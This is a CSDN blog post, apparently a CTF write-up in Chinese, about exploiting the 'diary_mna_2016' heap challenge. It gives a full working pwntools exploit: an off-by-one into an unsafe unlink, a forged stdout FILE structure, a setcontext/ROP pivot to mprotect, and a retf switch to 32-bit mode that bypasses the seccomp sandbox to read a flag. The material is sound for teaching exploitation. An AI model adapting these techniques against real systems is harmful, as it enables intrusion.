diary_mna_2016

161 篇文章 9 订阅
161 篇文章 9 订阅

diary_mna_2016

首先,检查一下程序的保护机制

然后检查一下沙箱机制,发现禁用了execve还有open函数,但是没有堆sys_number的范围进行判断,因此,可以利用retf切换到32位模式绕过沙箱。

然后,我们用IDA分析一下,输入函数存在off by one。

程序自己用链表实现了一个堆块管理器。

其free功能使用的是unlink,将堆块取出、合并等操作,但是缺少链表完整性检查

 

这里,我们unlink不能直接将got表修改为system_addr的地址,因为这里unlink的操作,要保证fd和bk都为可写的地址。因此,一个好的方法是设置fd为bss上stdout指针的地址-x10,设置bk为一个堆地址,这样,unlink以后stdout指针被修改为一个堆地址,我们只需要在堆里伪造好_IO_2_1_stdout_结构体即可。

由于heap是使用mmap映射出来的,因此,其地址靠近lib地址

但是其地址与libc地址的偏移在本地和远程是不一样的,但是可以在一个范围内爆破。爆破方法见我的这篇文章https://blog.csdn.net/seaaseesa/article/details/107072062

#coding:utf8
from pwn import *

#sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'})
#sh = remote('node3.buuoj.cn',26394)
#sh = remote('127.0.0.1',8666)
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
stdout_bss_addr = 0x00000000006020F0

def add(index,size,content,line = True):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))
   sh.sendlineafter('size',str(size))
   if line:
      sh.sendlineafter('happened on',content)
   else:
      sh.sendafter('happened on',content)

def show(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))

def delete(index):
   sh.sendlineafter('>>','3')
   sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))

def exploit(offset):
   add(1,0x200,'a'*0xFF)
   add(2,0x100,'b'*0xFF)
   add(3,0x60,'c'*0x10)
   add(4,0x120,'d'*0x10)
   add(5,0x60,'e'*0x10)
   delete(2)

   add(2,0x100,'b',False)
   show(2)
   sh.recvuntil('\n')
   heap_addr = u64(sh.recv(6).ljust(8,'\x00')) ^ ord('b')
   libc_base = heap_addr - offset
   pop_rdi = libc_base + 0x0000000000021102
   pop_rsi = libc_base + 0x00000000000202e8
   pop_rdx = libc_base + 0x0000000000001b92
   pop_rax = libc_base + 0x0000000000033544
   jmp_rdi = libc_base + 0x000000000006caa4
   '''pop_rdi = libc_base + 0x0000000000021112
   pop_rsi = libc_base + 0x00000000000202f8
   pop_rdx = libc_base + 0x0000000000001b92
   pop_rax = libc_base + 0x000000000003a738
   jmp_rdi = libc_base + 0x000000000006cab4
   '''
   mprotect_addr = libc_base + libc.sym['mprotect']
   setcontext_x = libc_base + libc.sym['setcontext'] + 0x35
   print 'libc_base=',hex(libc_base)

   fake_file = p64(0) + p64(0)
   fake_file = fake_file.ljust(0x88,'\x00')
   fake_file += p64(heap_addr - 0x4D0)
   fake_file = fake_file.ljust(0xA0,'\x00')
   fake_file += p64(heap_addr - 0x3E8)
   fake_file += p64(pop_rdi)
   fake_file = fake_file.ljust(0xC0,'\x00')
   fake_file += p64(0xFFFFFFFF)
   fake_file += p64(0)*2
   #vtable指针
   fake_file += p64(heap_addr - 0x3F0 - 0x38)

   fake_file += p64(setcontext_x) #vtable

   shellcode_addr = heap_addr + 0x100
   #接下来布置rop,跳到shellcode里去
   fake_file += p64(shellcode_addr) + p64(pop_rsi) + p64(0x200) + p64(pop_rdx) + p64(0x7) + p64(mprotect_addr) + p64(jmp_rdi)

   delete(1)
   add(1,0x200,fake_file)

   #先调用read输入32位shellcode,然后使用retf切换到32位模式,执行32位shellcode
   shellcode = asm('''/*mmap*/
                      mov r9d,0
                      mov r8d,0xFFFFFFFF
                      mov r10,0x22
                      mov edx,7
                      mov esi,0x1000
                      mov edi,0x160000
                      mov eax,9
                      syscall
                      /*write*/
                      mov rax,0x3A7475706E69
                      push rax
                      mov rax,1
                      mov rdi,rax
                      mov rsi,rsp
                      mov rdx,6
                      syscall
                      /*read*/
                      xor rax,rax
                      xor rdi,rdi
                      mov rsi,0x160800
                      mov rdx,0x100
                      syscall
                      /*retf*/
                      xor rsp,rsp
                      mov esp,0x160700
                      mov dword ptr[esp+4],0x23
                      mov dword ptr[esp],0x160800
                      retf
                   ''',arch="amd64")

   add(6,0x200,shellcode)

   delete(3)
   payload = p64(stdout_bss_addr - 0x10) + p64(heap_addr - 0x4D0)
   payload = payload.ljust(0x58,'c')
   payload += p64(0x68) #prev_size
   payload += p8(0x28)
   add(3,0x60,payload,False)
   #unlink修改stdout指针
   delete(4)

   shellcode = asm(shellcraft.open('./flag') + shellcraft.read(3,'esp',0x30) + shellcraft.write(1,'esp',0x30))
   sh.sendafter('input:',shellcode)

for x in range(0xD0,0xFF):
   try:
      global sh
      #sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'})
      sh = remote('node3.buuoj.cn',26394)
      offset = 0x5 << 20 #remote offset=0x5ee500
      offset += x << 12
      offset += 0x500
      print hex(offset)
      exploit(offset)
      sh.interactive()
   except:
      sh.close()
      print 'trying...'

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值